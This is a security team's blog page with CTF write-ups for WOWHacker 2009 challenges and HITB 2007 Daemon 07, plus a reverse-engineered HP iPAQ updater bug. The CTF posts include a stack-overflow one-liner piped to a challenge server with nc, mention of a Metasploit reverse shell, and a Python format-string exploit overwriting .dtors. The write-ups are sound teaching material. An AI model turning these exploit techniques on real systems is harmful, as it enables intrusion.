WOWHacker CTF – Challenge 2 and Challenge 9

August 26, 2009 by thaidn · Leave a Comment 

Challenge 2

Challenge 2 is simple yet interesting. The initial target is a Python 2.2 byte-compiled file, so the first job is to decompile it to get the source code. Fortunately, decompyle just works:

$ decompyle newbie.pyc

Thu Aug 27 02:13:25 2009
# emacs-mode: -*- python-*-
import urllib
def some_cryption(arg):
    pass
a = 'http://'
dummy = 'http://korea'
b = 'uxcpb.xe'
b = b.encode('rot13')
c = 'co.kr'
cs = '.com'
d = '/vfrp/uxuxux'
dt = '/hackers'
d = d.encode('rot13')
dx = 'coolguys'
ff = urllib.urlopen(((a + b) + d))
f_data = ff.read()
file = open('hkhkhk', 'w')
file.write(f_data)
some_cryption(f_data)
file.close()

You can see that the purpose of this script is to download some data from a fixed URL, and save them to a file named hkhkhk. We ran the script, and it indeed downloaded this file. As the script suggests, the content of hkhkhk is encrypted by some cipher. 

Opening hkhkhk in a hex editor, one could see that it contains quite a lot of 0×77 characters. A friend of us, Julianor from Netifera, thought that hkhkhk is an executable file, and because excutable file contains a lot of null bytes so 0×77 may be the null byte in the original file. He suggested xoring the content of hkhkhk against 0×77. We did as he suggested, and it worked :-D. hkhkhk turns out to be an ELF executable file:

$ file hkhkhk
hkhkhk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

$ ./hkhkhk
./hkhkhk [server] [port]

---------------------------
server> 221.143.48.88
port> 1111, 2222, ..., 9999
---------------------------

Disassembling hkhkhk reveals that this binary is just a simple client that connects to a remote server to get two integers, and send the sum of them back to that server. If the result is correct (which is always), the server will return a congratulation message like below:

$ ./hkhkhk 221.143.48.88 1111
[(867925) + (9792)] = ?
answer is 877717
it's correct. great!, :-)

At first, we thought we should try to exploit the server to force it to return an error or something, but that didn’t work. Then we thought there’s something hidden inside hkhkhk, so superkhung and I spent 1 hour to inspect every single instruction of the binary, but we saw nothing weird.

At this point, a friend suggested us running the binary inside a debugger. He thought that there may be something hidden in the communication between the server and hkhkhk.

The communication? I fired up wireshark, and to my surprise, I saw the answer right away: Pandas likes hkpco XD. It turns out that the congratulation message is something like:

it's correct. great!, :-)<b>\x00</b>Password is "Pandas likes hkpco XD"

This message is passed to a printf call, and since printf expects a null-terminated string, one could never see the characters after the null byte if he doesn’t run the binary inside a debugger, or sniff the communication like us.

Challenge 9

Challenge 9 (IP: 221.143.48.88; port :4600) is a remote stack-based buffer overflow exploitation. It’s interesting because WOWHacker doesn’t release the binary as other usual exploitation challenges.

While I was banging my head against challenge 8, gamma95 told me that he could crash challenge 9 with 293 bytes. He thought that this challenge is very obvious, and wondered why none was working on it.

Actually we were very short on manpower in the first day of the premilinary round. So we chose to work only on those challenges that we were interested in or had a larger chance of solving them.

When I first saw challenge 9, I thought this challenge should be hard. Blind remote exploitation is supposed to be hard you know. This wrong assumption plus the fact that I haven’t practiced software exploitation in the last several months made me decide to leave this challenge for other teamates who might join us in the second day.

But it turns out this challenge is an easy one.

In order to exploit a stack-based buffer overflow vulnerability, one must know which address to return to. Fortunately, WOWHacker gives us a very helpful hint:

Mr.Her give you something "call me~ call me~" : bfbfeaf2

So 0xbfbfeaf2 is the return address. Normally this address should point to the beginning of our input buffer which in turn should have this structure:

&lt;SHELLCODE&gt;&lt;NOP SLED&gt;&lt;\xf2\xea\xbf\xbf&gt;

The next problem is to determine how many bytes we need to control the EIP. The trick is to use \xeb\xfe as the shellcode, and increase the message one byte a time until we see the service hang after it processes our input. If our theory of the structure of the input buffer is correct, this process will succeed eventually because \xeb\xfe means “loop forever”:

$ echo -ne '\xeb\xfe' | ndisasm -
00000000  EBFE              jmp short 0x0

Using this technique, we can see that we need totally 302 bytes to control the EIP:

$ (python -c 'print "\xeb\xfe" * 149 + "\xf2\xea\xbf\xbf"'; cat) | nc 221.143.48.88 4600

We use Metasploit to generate a BSD reverse-shell shellcode, and we got the answer: WOWHACKER without beist.

Actually this wasn’t as easy as we write here. We made two stupid mistakes: first off, we assumed that this challenge ran on a Linux box; secondly, our connect back box was behind a firewall :-(. Thanks Tora and biest for giving us a hand in resolving them.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

WOWHacker CTF – Bonus Challenges

August 26, 2009 by superkhung · Leave a Comment 

Challenge 15

2009ISEC.apm is actually an Android Package file. Rename 2009ISEC.apm to 2009ISEC.apk, install it on an Android phone, then run it, tap on the About button, and you’ll see the answer which is Wowhacker$%hinehong(ISEC)#$boann.

Challenge 16

Challenge 16 is a Windows reversing challenge. The binary fishing.exe has a hidden form named TForm2. To see this form, one can replace the parameter of the first Createform() call at 00475EDC by the parameter of TForm2.

Original asm code:

00475ED6   MOV EDX,DWORD PTR DS:[4754D8] ;  00475524 &lt;&lt; value of TForm1
00475EDC   CALL 00453694

Patched asm code:

00475ED6   MOV EDX,DWORD PTR DS:[475134] ;  00475180 &lt;&lt; value of TForm2
00475EDC   CALL 00453694

TForm2 asks for a password, then it does some calculations and compares the result with MTRJ\TWQI7dUwnijTkMnLEWf.

The password processing routine starts at the loop at 004753B2:

004753B2  MOV EAX,DWORD PTR SS:[EBP-8]
004753B5  MOV BL,BYTE PTR DS:[EAX+EDI-1]
004753B9  CMP BL,20
004753BC  JE SHORT 004753DB
004753BE  LEA EAX,DWORD PTR SS:[EBP-8]
004753C1  CALL 00404384
004753C6  MOV EDX,EDI
004753C8  DEC EDX
004753C9  SAR EDX,1
004753CB  JNS SHORT 004753D0
004753CD  ADC EDX,0
004753D0  ADD EDX,EDX
004753D2  SUB BL,DL
004753D4  ADD BL,0A
004753D7  MOV BYTE PTR DS:[EAX+EDI-1],BL
004753DB  INC EDI
004753DC  CMP EDI,1A
004753DF  JNZ SHORT 004753B2

Notice that this routine is very simple, the most important are 2 operations at

004753D2 and 004753D4:

004753D2  SUB BL,DL
004753D4  ADD BL,0A

To reverse this routine, we just change subtract to add and add to subtract,  then input the encrypted password string to find out the original password.

Patched asm code:

004753D2  ADD BL,DL
004753D4  SUB BL,0A

After patching the asm code like that, we enter the encrypted password string MTRJ\TWQI7dUwnijTkMnLEWf into TForm2, and set a break point at the first argument of LStrCmp() function at 004753E1 to sniff out the decrypted password.

004753E1  MOV EAX,DWORD PTR SS:[EBP-8] ; EBP-8 will store the decrypted password
004753E4  MOV EDX,DWORD PTR DS:[479C8C]
004753EA  CALL 00404278 ; call LStrCmp()

We will see that encrypted string MTRJ\TWQI7dUwnijTkMnLEWf will be decrypted to CJJBVNSMG5dUypmnZqUvVOcr. Use this password on the original app, and we get the final answer: HOMEWORLD2_PrideOfHiG@Ra.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Fun code snippet

May 11, 2008 by lamer · 1 Comment 

This small snippet is copied from a much popular application.

.text:1000EBE0 push ecx ; some_string
.text:1000EBE1 push '%'
.text:1000EBE3 push '%'
.text:1000EBE5 push offset aCsystemdriveCS ; "%cSystemDrive%c%s"
.text:1000EBEA push edx ; buffer
.text:1000EBEB call ds:swprintf

Translated to C:

swprintf(buffer, "%cSystemDrive%c%s", '%', '%', some_string);

Of course you’d be scratching your head to explain why the writer wrote it this way, instead of simply swprintf(buffer, "%%SystemDrive%%%s", some_string);. To show off great C-kungfu? Or the lack thereof? Anyway, I just thought it was funny enough to post.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Buggy HP iPAQ ROM Update Utility

October 29, 2007 by RD · Leave a Comment 

Last weekend I tried to re-flash a HP ipaq rw6828 using the latest HP iPAQ ROM Update 1.01.03 from HP website.

After about 20 minutes, the ROM flash process crashed at 90% and the phone became dead and was not able to power on any longer (tried different suggested methods to get it boot into the bootloader mode but all failed).

I did a quick google on “ipaq 6828 ROM update fail 90%” keywords. Quite a lot of people got the same problem. Some were lucky enough to be able to re-flash the phone again as the phone still can boot into bootloader mode. But many other people had to send the phone to HP Service Center to replace the main board.

So I decided to take a look at the HP iPAQ ROM Update Utility binary (hpRUU.exe – v3.3.2 build 831) to find out the reason.

hpRUU

It didn’t take long to find out that the “90%” problem is caused by a lame buggy code of the HP iPAQ ROM Update Utility itself.

hpRUU-bug01

The buggy code is inside the sub_409DA0() (I renamed it to Client_StartFlash()). Below is the reverse C code snippet of ROM update function (not exactly as the asm code)

void sub_409520(int c)
{
    DebugLog("odmLib/Client_StartFlash -- Flashing would start here");
    hEvent = CreateEventA(0, 0, 0, 0);
    dword_425B04 = CreateThread(0, 0, &sub_409DA0, 0, 0, 0);
    SetEvent(hEvent);

    DebugLog("odmLib/Client_StartFlash: pReturnCode->dwError = %d", 65520);
}       

#define FLASH_ERROR(fmt, ...)   \
{                               \
  DebugLog(fmt, ...);           \
  IsErrorFlag = 1;              \
  pReturnCode_dwError = 401;    \
  return;                       \
}           

void Client_StartFlash()      //sub_00409DA0()
{
    //WORD SelectFile[2];

    WaitForSingleObject(hEvent, INFINITE);
    DebugLog("DownloadFile: SelectFile = 0x%x TotalFileSize = 0x%x..\r\n",
        SelectFile, TotalFileSize);

    if (DeviceInBLMode == -1) {
        DebugLog("DownloadFile: DeviceInBLMode has a wrong value!");
        IsErrorFlag = 1;
        pReturnCode_dwError = 602;
        return;
    }       

    if (SelectFile[0] & 8) {
        DebugLog("DownloadFile: COM_OS ..\r\n");
        wsprintfA(StatusBuffer, "Updating the ROM Image ...");
        byte_425884 = (DeviceInBLMode != 0) + 17;
        memset(_tFilename, 0, 0x64);
        pReturnCode_dwExtraInfo = 3;
        dHeaderLen = 0;
        sub_40A580(3, _tFilename, (int) &dHeaderLen);
        DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",
            &_tFilename, dHeaderLen);

        _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

        if (_hFile == INVALID_HANDLE_VALUE) {
            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
        }

        HeaderBuffer = malloc(dHeaderLen);
        HeaderBuffer = malloc(dHeaderLen);
        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);

        dFileLen = GetFileSize(_hFile, 0);
        dDataLen = dFileLen - dHeaderLen;
        DataBuffer = calloc(dFileLen - dHeaderLen, 1);
        ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
        free(HeaderBuffer);

        ROMDecode(dDataLen, DataBuffer);

        if (memcmp(DataBuffer, 'R000ff\n', 7)) {
            IsErrorFlag = 1;
            pReturnCode_dwError = 401;
            DebugLog("Jcs-Warning: The Image is invalid ... ");
            wsprintfA(StatusBuffer, "Warning: The Image is invalid ...");
            return;
        }

        if (!bDownLoadThrUSB(DataBuffer, dDataLen, dword_425B20,
            SelectFile)) {
            IsErrorFlag = 1;
            pReturnCode_dwError = 503;
            return;
        }
        free(DataBuffer);
        CloseHandle(_hFile);
    }

    if (SelectFile[0] & 4) {
        DebugLog("DownloadFile: COM_BL ..\r\n");
        wsprintfA(StatusBuffer, "Updating the Bootloader ...");
        dHeaderLen = 0;
        memset(_tFilename, 0, 0x64);
        pReturnCode_dwExtraInfo = 2;
        byte_425884 = 2;
        sub_40A580(2, _tFilename, (int) &dHeaderLen);
        DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n", _tFilename, dHeaderLen);
        _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

        if (_hFile == INVALID_HANDLE_VALUE) {
            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
        }
        HeaderBuffer = malloc(dHeaderLen);
        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
        dFileLen = GetFileSize(_hFile, 0);
        dDataLen = dFileLen - dHeaderLen;
        DataBuffer = calloc(dFileLen - dHeaderLen, 1);

        ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
        free(HeaderBuffer);
        ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
        free(HeaderBuffer);

        ROMDecode(dDataLen, DataBuffer);

        FILE = fopen("c:\\ipaq\\downloadEboot.txt", "wb");
        fwrite(DataBuffer, 1, dDataLen, FILE);
        fclose(FILE);

        if (!bDownLoadThrUSB(DataBuffer, dDataLen, dword_425B20,
            SelectFile)) {
            IsErrorFlag = 1;
            pReturnCode_dwError = 503;
            return;
        }
        free(DataBuffer);
        CloseHandle(_hFile);
    }
    if (!bDownLoadThrUSB(&unk_4253F0, 0x80, 0, SelectFile)) {
        IsErrorFlag = 1;
        pReturnCode_dwError = 401;
        DebugLog("Jcs-Download version infomation to device fail ..");
        return;
    }       

    dTmp = SelectFile[1];
    if (SelectFile[0] & 0x20) {
        DebugLog("DownloadFile: COM_FS ..\r\n");
        dTmp = SelectFile[1];
    }

    if (dTmp & 0x80 && dTmp & 0x20) {
        DebugLog("DownloadFile: COM_WANOS + COM_WANBL ..\r\n");
        wsprintfA(StatusBuffer, "Updating the Radio Stack ...");
        dHeaderLen = 0;
        memset(_tFilename, 0, 0x64);
        pReturnCode_dwExtraInfo = 15;
        byte_425884 = 4;
        sub_40A580(13, _tFilename, (int) &dHeaderLen);
        DebugLog("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",
            _tFilename, dHeaderLen);

        _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 

        if (_hFile == INVALID_HANDLE_VALUE) {
            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
        }

        HeaderBuffer = malloc(dHeaderLen);
        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
        dFileLen = GetFileSize(_hFile, 0);
        dDataLen = dFileLen - dHeaderLen;
        dFileLen = GetFileSize(_hFile, 0);
        dDataLen = dFileLen - dHeaderLen;

        DataBuffer = calloc(dDataLen, 1);
        dword_425B1C = DataBuffer;
        ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);
        free(HeaderBuffer);
        CloseHandle(_hFile);

        memset(_tFilename, 0, 0x64)
            sub_40A580(15, _tFilename, (int) &dHeaderLen)
            DebugLog ("DownloadFile: tFilename = %s dHeaderLen = %d\r\n",
            &_tFilename, dHeaderLen)

            _hFile = CreateFileA(_tFilename, GENERIC_READ | GENERIC_WRITE, 0, 0,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

        if (_hFile == INVALID_HANDLE_VALUE) {
            FLASH_ERROR("Jcs-CreateFile %s fail .. ", _tFilename);
        }

        HeaderBuffer = malloc(dHeaderLen);
        ReadFile(_hFile, HeaderBuffer, dHeaderLen, &NumberOfBytesRead, 0);
        dDataLen = GetFileSize(_hFile, 0) - dHeaderLen;
        dword_425B84 = dDataLen;

        DataBuffer = calloc(dDataLen, 1);
        dword_425B10 = DataBuffer;
        ReadFile(_hFile, DataBuffer, dDataLen, &NumberOfBytesRead, 0);

        free(HeaderBuffer);
        CloseHandle(_hFile);

        DataBuffer = calloc(dDataLen + nNumberOfBytesToRead + 88, 1);
        szBuffer = _msize(DataBuffer);
        memset(DataBuffer, -1, szBuffer);

        if (sub_40A5E0()) {
            if (sub_40A770()) {
                if (sub_40A8F0()) {
                    ROMDecode(Count, DataBuffer);
                    if (DataBuffer) {
                        FILE = fopen ("c:\\ipaq\\downloadMot.txt", "wb");
                        fwrite(DataBuffer, 1, Count, FILE);
                        fclose(FILE);
                        if (bDownLoadThrUSB(DataBuffer, Count, dword_425B20, SelectFile)) {
                            if (sub_40B270()) {
                                free(DataBuffer);
                                free(dword_425B10);
                                free(dword_425B1C);
                                dword_425F58 = 1;
                            } else {
                                IsErrorFlag = 1;
                            } else {
                                IsErrorFlag = 1;
                                pReturnCode_dwError = 401;
                                DebugLog ("Jcs-bGetMOTBurnStatus fail ..");
                            }
                        } else {
                            IsErrorFlag = 1;
                            pReturnCode_dwError = 401;
                            DebugLog ("Jcs-Download Mot fail ..");
                        }
                    } else {
                        IsErrorFlag = 1;
                        pReturnCode_dwError = 401;
                        DebugLog ("Jcs-(pMOTBuf==NULL) fail ..");
                    }
                } else {
                    IsErrorFlag = 1;
                    pReturnCode_dwError = 401;
                    DebugLog("Jcs-PrepareMOTData fail ..");
                }
            } else {
                IsErrorFlag = 1;
                pReturnCode_dwError = 401;
                DebugLog("Jcs-PrepareMOTAgent fail ..");
            }
        } else {
            IsErrorFlag = 1;
            pReturnCode_dwError = 401;
            DebugLog("Jcs-PrepareMOTPara fail ..");
        }
    } else {
        dword_425F58 = 1;
    }
}

The codes at line 110->112 and 200->202 inside Client_StartFlash() function try to write the ‘decrypted’ EBOOT and MOT ROMs data to hard-coded file locations at c:\ipaq\downloadMot.txt and c:\ipaq\downloadEboot.txt. It doesn’t check whether the fopen() return a successful FILE pointer or not before writing the content.

So, If you install the ROM upgrade program in a different location (in my case, i installed it in d:\tmp\ipaq) instead of default location (c:\ipaq), the update program will get crashed at 90%. This stupid error had killed many ipaq and many people had to spend their time and money for the service & mainboard replacement since the update had been released by HP for almost a year. The HP developer who wrote this code should go back to college to learn how to code properly.

After knowing the problem, I sent the ipaq to HP Service Center a day after and got the mainboard replaced. After few hours of waiting, complaining and giving live proof of the bug to HP technical guy, I did not need to pay for mainboard replacement cost :). The technical guy was a nice guy. He even brought me inside HP technical service center for re-flashing few ipaqs to reproduce the problem. However, the experience with the girl at HP Customer Service Center was kind of bad though.


Links:

  1. HP iPAQ ROM Update 1.01.03
  2. hpRUU.exe – v3.3.2 Build 831
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HITB 2007 Kuala Lumpur CTF Daemon 07

September 16, 2007 by lamer · Leave a Comment 

Analyzing main

There really is nothing to analyze here. It’s plain to see that the last printf was called without any format string.

.text:08048A8E main            proc near               ; DATA XREF: start+17&uarr;o
.text:08048A8E
.text:08048A8E var_118         = dword ptr -118h
.text:08048A8E var_114         = dword ptr -114h
.text:08048A8E var_110         = dword ptr -110h
.text:08048A8E var_108         = dword ptr -108h
.text:08048A8E
.text:08048A8E                 push    ebp
.text:08048A8F                 mov     ebp, esp
.text:08048A91                 sub     esp, 118h       ; char *
.text:08048A97                 and     esp, 0FFFFFFF0h
.text:08048A9A                 mov     eax, 0
.text:08048A9F                 add     eax, 0Fh
.text:08048AA2                 add     eax, 0Fh
.text:08048AA5                 shr     eax, 4
.text:08048AA8                 shl     eax, 4
.text:08048AAB                 sub     esp, eax
.text:08048AAD                 mov     [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"...
.text:08048AB4                 call    _printf
.text:08048AB9                 mov     [esp+118h+var_118], offset aSecretCode ; "Secret Code: "
.text:08048AC0                 call    _printf
.text:08048AC5                 mov     eax, ds:stdout
.text:08048ACA                 mov     [esp+118h+var_118], eax
.text:08048ACD                 call    _fflush
.text:08048AD2                 mov     [esp+118h+var_110], 100h
.text:08048ADA                 lea     eax, [ebp+var_108]
.text:08048AE0                 mov     [esp+118h+var_114], eax
.text:08048AE4                 mov     [esp+118h+var_118], 0
.text:08048AEB                 call    _read
.text:08048AF0                 mov     ds:dword_8052998, eax
.text:08048AF5                 mov     [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048AFD                 mov     eax, ds:dword_8052998
.text:08048B02                 mov     [esp+118h+var_114], eax
.text:08048B06                 lea     eax, [ebp+var_108]
.text:08048B0C                 mov     [esp+118h+var_118], eax
.text:08048B0F                 call    sub_80489C4
.text:08048B14                 mov     [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.\nDebug Input : "
.text:08048B1B                 call    _printf
.text:08048B20                 lea     eax, [ebp+var_108]
.text:08048B26                 mov     [esp+118h+var_118], eax
.text:08048B29                 call    <strong>_printf</strong>
.text:08048B2E                 mov     eax, 0
.text:08048B33                 leave
.text:08048B34                 retn
.text:08048B34 main            endp

Exploit it

So, it’s a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at 08048A32.

.text:08048A32 ; ---------------------------------------------------------------------------
.text:08048A32                 push    ebp
.text:08048A33                 mov     ebp, esp
.text:08048A35                 sub     esp, 48h
.text:08048A38                 mov     dword ptr [esp+4], offset aR ; "r"
.text:08048A40                 mov     dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048A47                 call    _fopen
.text:08048A4C                 mov     [ebp-0Ch], eax
.text:08048A4F                 mov     eax, [ebp-0Ch]
.text:08048A52                 mov     [esp+8], eax
.text:08048A56                 mov     dword ptr [esp+4], 20h
.text:08048A5E                 lea     eax, [ebp-38h]
.text:08048A61                 mov     [esp], eax
.text:08048A64                 call    _fgets
.text:08048A69                 mov     eax, [ebp-0Ch]
.text:08048A6C                 mov     [esp], eax
.text:08048A6F                 call    _fclose
.text:08048A74                 lea     eax, [ebp-38h]
.text:08048A77                 mov     [esp+4], eax
.text:08048A7B                 mov     dword ptr [esp], offset aS ; "\n%s"
.text:08048A82                 call    _printf
.text:08048A87                 mov     eax, 0
.text:08048A8C                 leave
.text:08048A8D                 retn

These few lines of Python code are all it takes to construct an exploit.

dtors_addr = 0x08052804
target_addr = 0x08048A32
offset = 8

junk_cnt0 = offset * 4
junk_cnt1 = (target_addr & 0xFFFF) - junk_cnt0
junk_cnt2 = 0x10000 + ((target_addr & 0xFFFF0000) >> 16) - junk_cnt1 - junk_cnt0

fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1)
fmtstring += "\n"
# send this string to port 7777, will ya?

Observation

Unlike daemon05, we need not flush the buffer in printf because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let’s find out why.

.dtors:08052800 _dtors          segment dword public 'DATA' use32
.dtors:08052800                 assume cs:_dtors
.dtors:08052800                 ;org 8052800h
.dtors:08052800                 db 0FFh
.dtors:08052801                 db 0FFh
.dtors:08052802                 db 0FFh
.dtors:08052803                 db 0FFh
.dtors:08052804                 db    0
.dtors:08052805                 db    0
.dtors:08052806                 db    0
.dtors:08052807                 db    0
.dtors:08052807 _dtors          ends
.dtors:08052807
.jcr:08052808 ; ---------------------------------------------------------------------------
.jcr:08052808
.jcr:08052808 ; Segment type: Pure data
.jcr:08052808 ; Segment permissions: Read/Write
.jcr:08052808 _jcr            segment dword public 'DATA' use32
.jcr:08052808                 assume cs:_jcr
.jcr:08052808                 ;org 8052808h
.jcr:08052808                 db    0
.jcr:08052809                 db    0
.jcr:0805280A                 db    0
.jcr:0805280B                 db    0
.jcr:0805280B _jcr            ends

Right after .dtors is .jcr which is filled with four 00, which incidentally is also the end marker for .dtors. So, when we overwrite 08052804 with the value 08048A32, we happen to insert a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the fflush code in main, which is at 08048AC5. This is still doable by extending our format string to have two more %hn overwrites.

Oh, and thank you, xWinGs, for these easy points.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »